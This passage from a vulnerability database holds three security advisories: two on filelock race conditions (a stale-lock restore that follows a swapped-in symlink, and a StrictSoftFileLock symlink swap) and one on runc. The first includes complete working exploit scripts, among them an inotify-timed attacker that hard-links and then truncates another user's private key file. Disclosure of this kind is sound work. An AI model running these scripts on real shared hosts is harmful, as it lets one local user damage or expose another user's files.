Introduced\n\nfc73fc51e137 (\"fix(soft): restore a live marker a stale break moved aside\", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.\n\n## Mechanism\n\n```python\n# src/filelock/_util.py:115-122\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime \u003c= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\nelif stat.S_ISREG(st_after.st_mode) and _HAS_LINK:  # pragma: needs hard-link\n    with suppress(FileExistsError):\n        os.link(break_path, lock_file)\n        Path(break_path).unlink()\n```\n\nThe `S_ISREG` test (is it a regular file) is about what `lstat` saw on line 117, not about what `link` resolves on line 121. The docstring says the code must not put a symbolic link back \"because `link` would follow a symlink to its target\", and the test at the scanned commit names the consequence (\"publish the victim file\u0027s inode at the lock path\"), but that test only covers a symbolic link that is already there when `lstat` runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package\u0027s other links pass `follow_symlinks=False` where the runtime honours it; this one does not. An `strace` (a tool that logs a process\u0027s system calls) on CPython 3.14.8 shows `os.link(a, b)` as `linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW)`.\n\nThe other user plays both the stale holder and the \"successor\" the branch exists for:\n\n1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and `_exit`s). The lock user\u0027s `_try_break_stale_lock()` reads it and `owner_is_stale()` agrees, so `break_lock_file()` renames it to `app.lock.break.\u003cpid\u003e.\u003ctoken\u003e`. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user\u0027s private file over the break name.\n4. Line 121 resolves the link with the lock user\u0027s credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.\n\nThe other user\u0027s own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd \"marker\" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 \u00b5s between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 \u00b5s between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nsys.stdout.reconfigure(line_buffering=True)\n\nSHARED_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = SHARED_DIR + \"/app.lock\"\nPRIVATE_DIR = \"/home/victim/private\"\nKEY_PATH = PRIVATE_DIR + \"/signing.key\"\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before\n# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).\nSLOWED_DOWN = [\"strace\", \"-o\", \"/dev/null\", \"-P\", LOCK_PATH, \"-e\", \"trace=rename,linkat\"]\nSLOWED_DOWN += [\"-e\", \"inject=rename:delay_exit=2000000\", \"-e\", \"inject=linkat:delay_enter=2000000\"]\n\n# set up: the victim\u0027s key in a 0700 directory, and a lock directory anyone can write, without the sticky bit\nshutil.rmtree(PRIVATE_DIR, ignore_errors=True)\nos.mkdir(PRIVATE_DIR, 0o700)\nwith open(KEY_PATH, \"w\") as key_file:\n    key_file.write(\"0123456789abcdef\\n\")\nos.chmod(KEY_PATH, 0o600)\nshutil.chown(PRIVATE_DIR, \"victim\", \"victim\")\nshutil.chown(KEY_PATH, \"victim\", \"victim\")\nshutil.rmtree(SHARED_DIR, ignore_errors=True)\nos.mkdir(SHARED_DIR)\nos.chmod(SHARED_DIR, 0o777)\nkey_before = os.stat(KEY_PATH)\nprint(f\"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}\")\nfor knob in (\"protected_hardlinks\", \"protected_symlinks\"):\n    print(f\"fs.{knob} =\", open(f\"/proc/sys/fs/{knob}\").read().strip())\n\n# control: the attacker cannot give the key a name in the shared directory by itself\nlink_by_attacker = f\"import os; os.link({KEY_PATH!r}, {SHARED_DIR + \u0027/by-attacker\u0027!r})\"\ncontrol = subprocess.run([sys.executable, \"-c\", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)\nprint(\"CONTROL the attacker\u0027s own link() of the key:\", control.stderr.strip().splitlines()[-1])\n\n# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_stale_marker.py\", LOCK_PATH], check=True, **AS_ATTACKER)\nattacker = subprocess.Popen([sys.executable, \"/tmp/repro.d/swap_break_name.py\", LOCK_PATH, KEY_PATH], **AS_ATTACKER)\nvictim_job = [*SLOWED_DOWN, sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH]\nsubprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)\nassert attacker.wait(timeout=30) == 0, \"the attacker did not get through its steps\"\n\n# check, as root: does the key now have a name in the shared directory?\nkey_after = os.stat(KEY_PATH)\nnames_of_the_key = [\n    name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f\"{SHARED_DIR}/{name}\"))\n]\nprint(f\"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}\")\n\nif names_of_the_key:\n    # what that name is good for: another program of the victim takes a FileLock there, which truncates the file\n    shared_name = f\"{SHARED_DIR}/{names_of_the_key[0]}\"\n    victim_other_job = [sys.executable, \"/tmp/repro.d/victim_other_job.py\", shared_name]\n    subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)\n    print(f\"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim\u0027s FileLock({shared_name!r})\")\n\nprint(\"BUG\" if control.returncode != 0 and names_of_the_key else \"OK\")\n```\n\n**`repro.d/plant_stale_marker.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import SoftFileLock\n\n# a genuine marker of a holder that died: a child takes the lock and exits without releasing it\nif (child := os.fork()) == 0:\n    holder = SoftFileLock(sys.argv[1])  # kept referenced: a collected lock releases itself\n    holder.acquire()\n    os._exit(0)\nos.waitpid(child, 0)\nprint(\"attacker: left\", sys.argv[1], \"held by pid\", child, \"which has exited\", flush=True)\n```\n\n**`repro.d/swap_break_name.py`**\n\n```python\nimport glob\nimport os\nimport sys\nimport time\n\nlock_path, key_path = sys.argv[1:]\nkept_path = os.path.join(os.path.dirname(lock_path), \"other.lock\")\n\n# the victim judged the marker stale and renamed it to \u003clock\u003e.break.\u003cpid\u003e.\u003crandom\u003e; anyone can list the directory\ndeadline = time.monotonic() + 30\nwhile not (break_paths := glob.glob(lock_path + \".break.*\")):\n    assert time.monotonic() \u003c deadline, \"the victim never moved the marker aside\"\n    time.sleep(0.01)\n[break_path] = break_paths\nprint(\"attacker: the victim renamed the marker to\", os.path.basename(break_path), flush=True)\n\n# still the attacker\u0027s file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it\nos.utime(break_path)\n\ntime.sleep(3)  # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link\nos.symlink(key_path, lock_path + \".symlink\")\nos.rename(lock_path + \".symlink\", break_path)\nprint(\"attacker: replaced\", os.path.basename(break_path), \"with a symlink to\", key_path, flush=True)\n\n# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name\ndeadline = time.monotonic() + 5\nwhile not os.path.lexists(lock_path) and time.monotonic() \u003c deadline:\n    time.sleep(0.01)\ntry:\n    os.rename(lock_path, kept_path)\n    print(\"attacker: renamed\", os.path.basename(lock_path), \"to\", kept_path, flush=True)\nexcept FileNotFoundError:\n    print(\"attacker: the victim linked nothing at\", os.path.basename(lock_path), flush=True)\n```\n\n**`repro.d/unpaused_attacker.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses.\"\"\"\nimport ctypes\nimport os\nimport random\nimport struct\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, victim_file, kept_name = sys.argv[1:]\nos.chdir(os.path.dirname(lock_path))\nlock_name = os.path.basename(lock_path).encode()\nIN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80\n\n\ndef spin(microseconds):\n    until = time.perf_counter() + microseconds / 1e6\n    while time.perf_counter() \u003c until:\n        pass\n\n\n# The bytes of a genuine marker of a dead process.\nif os.fork() == 0:\n    crashed_holder = SoftFileLock(lock_path)\n    crashed_holder.acquire()\n    os._exit(0)\nos.wait()\nwith open(lock_name, \"rb\") as marker_file:\n    stale_marker = marker_file.read()\nos.unlink(lock_name)\n\nlibc = ctypes.CDLL(None)\ninotify = libc.inotify_init1(IN_NONBLOCK)\nlibc.inotify_add_watch(inotify, b\".\", IN_MOVED_TO)\nmarker_mtime = 1_000_000_000\nlock_cycles = 0\nwhile True:\n    lock_cycles += 1\n    os.symlink(victim_file, b\"symlink\")\n    marker = os.open(b\"staged\", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    os.write(marker, stale_marker)\n    os.utime(marker, (marker_mtime, marker_mtime))\n    marker_watch = libc.inotify_add_watch(inotify, b\"staged\", IN_CLOSE_NOWRITE)\n    while True:  # plant it as soon as the victim has released the lock\n        try:\n            os.link(b\"staged\", lock_name)\n            break\n        except FileExistsError:\n            pass\n    os.unlink(b\"staged\")\n\n    break_name = None\n    while break_name is None:\n        try:\n            events = os.read(inotify, 4096)\n        except BlockingIOError:\n            continue\n        while events and break_name is None:\n            _, mask, _, name_length = struct.unpack_from(\"iIII\", events)\n            name = events[16 : 16 + name_length].rstrip(b\"\\0\")\n            events = events[16 + name_length :]\n            if mask \u0026 IN_CLOSE_NOWRITE:\n                # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes\n                # before that lstat only makes the victim start over on its next poll.\n                spin(random.uniform(40, 100))\n                marker_mtime += 1\n                os.utime(marker, (marker_mtime, marker_mtime))\n            elif name.startswith(lock_name + b\".break.\"):\n                # The victim has renamed the marker and is about to lstat the break name and link it back.\n                os.rename(b\"symlink\", name)\n                break_name = name\n    libc.inotify_rm_watch(inotify, marker_watch)\n    os.close(marker)\n\n    time.sleep(0.001)\n    try:\n        at_lock_path = os.lstat(lock_name)\n        if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:\n            os.rename(lock_name, kept_name)\n            print(f\"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:\", at_lock_path)\n            break\n    except FileNotFoundError:\n        pass\n    for leftover in (b\"symlink\", break_name):\n        if os.path.lexists(leftover):\n            os.unlink(leftover)\n    try:\n        os.read(inotify, 65536)\n    except BlockingIOError:\n        pass\n```\n\n**`repro.d/unpaused_victim.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody.\"\"\"\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n    with lock:\n        time.sleep(0.005)\n    time.sleep(0.005)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n**`repro.d/victim_other_job.py`**\n\n```python\nimport sys\n\nfrom filelock import FileLock\n\nwith FileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant D as /tmp/shared-locks (0777, not sticky)\n    participant V as SoftFileLock of the lock user (uid 1000)\n    participant K as ~victim/private/signing.key (0600 in a 0700 dir)\n    X-\u003e\u003eD: child takes app.lock and _exit()s: dead-holder marker owned by X\n    V-\u003e\u003eD: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*\n    rect rgb(255, 214, 214)\n        X-\u003e\u003eD: inotify sees the rename: utime the break file (newer mtime)\n        V-\u003e\u003eD: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker\n        X-\u003e\u003eD: rename a symbolic link to signing.key over the break name\n        V-\u003e\u003eK: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file\n        X-\u003e\u003eD: rename app.lock to other.lock before the 2 s eviction\n        Note over V,K: the lock user\u0027s FileLock(\"other.lock\") on 4.2.0 truncates the file to 0 bytes\n    end\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer takes about 5 s and is deterministic. Root creates `/home/victim/private` (`0700`) with `signing.key` (17 bytes, `0600`) and `/tmp/shared-locks` (`0777`, no sticky bit), with `fs.protected_hardlinks = 1` and `fs.protected_symlinks = 1`. In the control step, the `attacker` account runs `os.link(key, /tmp/shared-locks/by-attacker)` and gets `Permission denied`. Then the `attacker` child leaves `app.lock held by pid 253 which has exited`. The `victim` account runs `with SoftFileLock(path)` under `strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000`, which holds it 2 s after its `rename()` and 2 s before its `linkat()` without changing any call. The `attacker` account bumps the break file, swaps in the symbolic link, and renames `app.lock` to `other.lock`.\n\nThe result line reads `signing.key: links=2, names in /tmp/shared-locks with its inode: [\u0027other.lock\u0027]`, and after the `victim` account\u0027s second program takes `FileLock(\u0027/tmp/shared-locks/other.lock\u0027)`, `size=0`. Verdict `BUG`. The unpaused variant (`unpaused_victim.py` looping on the lock, `unpaused_attacker.py` timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).\n\nOur review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain `os.link` of a symbolic link follows it (target `st_nlink` 2) while `follow_symlinks=False` links the symbolic link itself, which confirms the report\u0027s macOS note.\n\n## Impact\n\nA local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user\u0027s own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what `fs.protected_hardlinks` exists to deny, a name it can move around for someone else\u0027s file.\n\nWhatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. `UnixFileLock._finalize_locked_fd()` ran `os.ftruncate(fd, 0)` on whatever regular file `O_NOFOLLOW` let it open. The other user moved the link to `other.lock`, the lock user took `FileLock(\"other.lock\")`, and the 17-byte private file became 0 bytes. The other user can also move the link into sticky `/tmp` on the same filesystem before the lock user locks it there, and a `FileLock` with a permissive `mode` such as `0o666` applied that mode to the private file too, after which the other user could write its content.\n\nOn its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.\n\n## Workarounds\n\nKeep soft locks out of directories other users can write without the sticky bit; a `0700` directory of the lock\u0027s user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native `FileLock` on a name another user controls.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SB29HIAL`, scanned commit b831496b0273; related earlier-public work: #786)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created",
  "id": "GHSA-crv4-6mhj-j5jh",
  "modified": "2026-10-23T22:00:11Z",
  "published": "2026-10-23T22:00:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/pull/843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory"
}

GHSA-JFVP-7X6P-H2PV

Vulnerability from github – Published: 2024-09-03 19:49 – Updated: 2025-02-21 21:03
VLAI
Summary
runc can be confused to create empty files/directories on the host
Details

Impact

runc 1.1.13 and earlier as well as 1.2.0-rc2 and earlier can be tricked into creating empty files or directories in arbitrary locations in the host filesystem by sharing a volume between two containers and exploiting a race with os.MkdirAll. While this can be used to create empty files, existing files will not be truncated.

An attacker must have the ability to start containers using some kind of custom volume configuration. Containers using user namespaces are still affected, but the scope of places an attacker can create inodes can be significantly reduced. Sufficiently strict LSM policies (SELinux/Apparmor) can also in principle block this attack -- we suspect the industry standard SELinux policy may restrict this attack's scope but the exact scope of protection hasn't been analysed.

This is exploitable using runc directly as well as through Docker and Kubernetes.

The CVSS score for this vulnerability is CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N (Low severity, 3.6).

Workarounds

Using user namespaces restricts this attack fairly significantly such that the attacker can only create inodes in directories that the remapped root user/group has write access to. Unless the root user is remapped to an actual user on the host (such as with rootless containers that don't use /etc/sub[ug]id), this in practice means that an attacker would only be able to create inodes in world-writable directories.

A strict enough SELinux or AppArmor policy could in principle also restrict the scope if a specific label is applied to the runc runtime, though we haven't thoroughly tested to what extent the standard existing policies block this attack nor what exact policies are needed to sufficiently restrict this attack.

Patches

Fixed in runc v1.1.14 and v1.2.0-rc3.

  • main patches:
  • https://github.com/opencontainers/runc/pull/4359
  • https://github.com/opencontainers/runc/commit/63c2908164f3a1daea455bf5bcd8d363d70328c7
  • release-1.1 patches:
  • https://github.com/opencontainers/runc/commit/8781993968fd964ac723ff5f360b6f259e809a3e
  • https://github.com/opencontainers/runc/commit/f0b652ea61ff6750a8fcc69865d45a7abf37accf

Credits

Thanks to Rodrigo Campos Catelin (@rata) and Alban Crequy (@alban) from Microsoft for discovering and reporting this vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0-rc.1"
            },
            {
              "fixed": "1.2.0-rc.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-03T19:49:32Z",
    "nvd_published_at": "2024-09-03T19:15:15Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nrunc 1.1.13 and earlier as well as 1.2.0-rc2 and earlier can be tricked into\ncreating empty files or directories in arbitrary locations in the host\nfilesystem by sharing a volume between two containers and exploiting a race\nwith os.MkdirAll. While this can be used to create empty files, existing\nfiles **will not** be truncated.\n\nAn attacker must have the ability to start containers using some kind of custom\nvolume configuration. Containers using user namespaces are still affected, but\nthe scope of places an attacker can create inodes can be significantly reduced.\nSufficiently strict LSM policies (SELinux/Apparmor) can also in principle block\nthis attack -- we suspect the industry standard SELinux policy may restrict\nthis attack\u0027s scope but the exact scope of protection hasn\u0027t been analysed.\n\nThis is exploitable using runc directly as well as through Docker and\nKubernetes.\n\nThe CVSS score for this vulnerability is\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N (Low severity, 3.6).\n\n### Workarounds\nUsing user namespaces restricts this attack fairly significantly such that the\nattacker can only create inodes in directories that the remapped root\nuser/group has write access to. Unless the root user is remapped to an actual\nuser on the host (such as with rootless containers that don\u0027t use\n/etc/sub[ug]id), this in practice means that an attacker would only be able to\ncreate inodes in world-writable directories.\n\nA strict enough SELinux or AppArmor policy could in principle also restrict the\nscope if a specific label is applied to the runc runtime, though we haven\u0027t\nthoroughly tested to what extent the standard existing policies block this\nattack nor what exact policies are needed to sufficiently restrict this attack.\n\n### Patches\nFixed in runc v1.1.14 and v1.2.0-rc3.\n\n* `main` patches:\n  * https://github.com/opencontainers/runc/pull/4359\n  *  https://github.com/opencontainers/runc/commit/63c2908164f3a1daea455bf5bcd8d363d70328c7\n* `release-1.1` patches:\n  * https://github.com/opencontainers/runc/commit/8781993968fd964ac723ff5f360b6f259e809a3e\n  * https://github.com/opencontainers/runc/commit/f0b652ea61ff6750a8fcc69865d45a7abf37accf\n\n### Credits\nThanks to Rodrigo Campos Catelin (@rata) and Alban Crequy (@alban) from\nMicrosoft for discovering and reporting this vulnerability.",
  "id": "GHSA-jfvp-7x6p-h2pv",
  "modified": "2025-02-21T21:03:04Z",
  "published": "2024-09-03T19:49:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-jfvp-7x6p-h2pv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45310"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/pull/4359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/63c2908164f3a1daea455bf5bcd8d363d70328c7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/8781993968fd964ac723ff5f360b6f259e809a3e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/f0b652ea61ff6750a8fcc69865d45a7abf37accf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencontainers/runc"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250221-0008"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/09/03/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/U:Green",
      "type": "CVSS_V4"
    }
  ],
  "summary": "runc can be confused to create empty files/directories on the host"
}

GHSA-M462-7RXW-WVPG

Vulnerability from github – Published: 2026-10-28 21:08 – Updated: 2026-10-28 21:08
VLAI
Summary
filelock: StrictSoftFileLock follows a symbolic link swapped in at <path>.filelock and creates claim files in a directory another local user chooses
Details

StrictSoftFileLock and AsyncStrictSoftFileLock check <path>.filelock (the coordination directory that holds the lock's state) with one lstat call on its name. lstat reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches <path>.filelock/claims by pathname for every later operation (mkdir, scan, publish, link, unlink). _open_directory passes O_NOFOLLOW (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final claims component. The kernel follows a symbolic link in any earlier component.

Another local user (the other user below) who can rename <path>.filelock exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as /tmp, only the user who created <path>.filelock before the user running the lock (the lock user below) first used it can. The lock user's process (root's, if root takes the lock) then creates a claims directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write.

When the link points at another strict lock's .filelock directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The claims property and force_break() resolve the same path with no check at all. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding ANT-2026-SVFEYX89).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): the swap must land between the lstat and the next mkdir. The other user does not aim at that window. It flips the name in a loop with renameat2(RENAME_EXCHANGE) (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user's program in the scanner's trials. A sticky directory also requires it to have created <path>.filelock first. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's process acts on its own.

C:L (low confidentiality impact): through claims, one file name per planted link from a directory only the lock user can list. I:L (low integrity impact): a directory named claims and files with filelock's fixed claim names and contents appear, created with the lock user's privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. A:H (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363).

Scope and preconditions

  • The other user can rename <path>.filelock. In a writable directory without the sticky bit (a 0777 or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns <path>.filelock. In a sticky directory such as /tmp, only the user who created <path>.filelock before the lock user's first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4).
  • The link's target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename <path>.filelock can defeat that lock's exclusion anyway.
  • fs.protected_symlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns.
  • Missed attempts show up to the lock user as SoftFileLockProtocolError or FileNotFoundError. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt).
  • The two entry points that need no race (claims and force_break() on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making acquire() fail with a protocol error. The force_break() variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in docs/tutorials.rst does. docs/how-to.rst tells the operator to verify that the named owner is gone before breaking.
  • Platform: POSIX, demonstrated on Linux (tmpfs and overlayfs). Windows has no dir_fd (file operations relative to an open directory handle), and on Windows the documented requirement is a lock directory that untrusted users cannot write.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the check and the first use are adjacent lines of StrictSoftFileLock._acquire. There, _ensure_protocol_directory runs lstat on <path>.filelock and then mkdir on <path>.filelock/claims. _open_directory passes O_DIRECTORY | O_NOFOLLOW but receives the full <path>.filelock/claims. The claim scan goes by pathname in _read_existing_claims (directory.exists()) and _list_claim_names (os.scandir(directory)). So do _publish_record, _link_no_replace, _unlink_in_directory and the clock probe in _filesystem_now. The claims property and force_break() take the directory from _claim_directory by string concatenation, and _require_exact_name confirms the name with a by-name os.scandir.

Introduced

The by-name claim directory came with 650c17c79c54 ("feat(strict): replace shared markers with owner claims", #659, 2026-07-14), first released in 3.30.0. One effect is newer. The clock-probe files that a swap at claims leaves behind need _filesystem_now, added in 508d0548538f ("fix(strict): age private records by the filesystem clock", #792, 2026-10-07), first released in 4.1.0. Before that commit a claim scan created nothing. We checked both against the git tags.

Mechanism

On the benign path, _ensure_protocol_directory(coordination_directory) finds <path>.filelock to be a real directory, and _ensure_protocol_directory(claim_directory) finds claims inside it. The doorway (the acquire step that scans existing claims and publishes the caller's own) then publishes into it. A symbolic link resting at <path>.filelock stops at the first call with "is not a real directory". That answer describes the name at that instant only; nothing carries it forward. With the name exchanged for a link to a directory T between the two calls:

  • The second call runs mkdir("<path>.filelock/claims"), which creates T/claims with the lock user's credentials. The mkdir succeeds, so _ensure_protocol_directory returns without looking at anything.
  • _attempt_doorway then works in T/claims for as long as the name still points there. _read_existing_claims uses directory.exists() and os.scandir(directory). _publish_record opens the claim directory by its full path and creates .intent-v1-<token>.claim.private-v1-<hex>.tmp and intent-v1-<token>.claim (the intent claim, which announces a pending acquire) in it. When its intent wins the scan, _link_no_replace adds held-v1-<token>.claim (the held claim, which marks the lock as taken). _open_directory does pass O_DIRECTORY | O_NOFOLLOW, but on "<path>.filelock/claims", so the flag covers claims only.
  • Cleanup resolves the name again. _unlink_in_directory opens <path>.filelock/claims by path. When the name is back at the real directory by then, the unlink gets ENOENT (the "no such file" error), which _unlink_owner_path_result counts as removed. The claim file stays in T/claims.

